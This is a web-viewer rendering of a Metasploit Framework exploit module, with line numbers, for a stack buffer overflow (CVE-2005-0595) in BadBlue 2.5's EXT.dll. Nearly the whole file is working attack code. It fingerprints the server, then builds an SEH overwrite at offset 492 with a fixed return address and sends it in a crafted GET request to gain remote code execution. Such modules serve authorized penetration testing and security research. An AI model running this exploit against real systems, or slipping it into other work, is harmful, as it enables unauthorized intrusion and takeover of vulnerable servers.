Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/http/badblue_ext_overflow.rb
19512 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
# NOTE: BadBlue doesn't give any HTTP headers when requesting '/'.
10
# However, a proper Server header is returned when requesting /index.html or using HEAD.
11
HttpFingerprint = { :method => 'HEAD', :pattern => [ /BadBlue\// ] }
12
13
include Msf::Exploit::Remote::HttpClient
14
include Msf::Exploit::Remote::Seh
15
16
def initialize(info = {})
17
super(
18
update_info(
19
info,
20
'Name' => 'BadBlue 2.5 EXT.dll Buffer Overflow',
21
'Description' => %q{
22
This is a stack buffer overflow exploit for BadBlue version 2.5.
23
},
24
'Author' => 'acaro <acaro[at]jervus.it>',
25
'License' => BSD_LICENSE,
26
'References' => [
27
[ 'CVE', '2005-0595' ],
28
[ 'OSVDB', '14238' ],
29
[ 'BID', '7387' ],
30
],
31
'DefaultOptions' => {
32
'EXITFUNC' => 'process',
33
},
34
'Privileged' => true,
35
'Payload' => {
36
'Space' => 500,
37
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
38
'StackAdjustment' => -3500,
39
},
40
'Platform' => 'win',
41
'Targets' => [
42
['BadBlue 2.5 (Universal)', { 'Ret' => 0x1003d9da }],
43
],
44
'DisclosureDate' => '2003-04-20',
45
'DefaultTarget' => 0,
46
'Notes' => {
47
'Reliability' => UNKNOWN_RELIABILITY,
48
'Stability' => UNKNOWN_STABILITY,
49
'SideEffects' => UNKNOWN_SIDE_EFFECTS
50
}
51
)
52
)
53
end
54
55
def check
56
info = http_fingerprint # check method
57
if (info =~ /BadBlue\/2\.5/)
58
return Exploit::CheckCode::Appears
59
end
60
61
Exploit::CheckCode::Safe
62
end
63
64
def exploit
65
uri = "GET /ext.dll?mfcisapicommand="
66
sploit = rand_text_alphanumeric(500)
67
seh = generate_seh_payload(target.ret)
68
sploit[492, seh.length] = seh
69
uri << sploit
70
71
print_status("Trying target #{target.name}...")
72
send_request_raw({ 'uri' => uri })
73
74
handler
75
end
76
end
77
78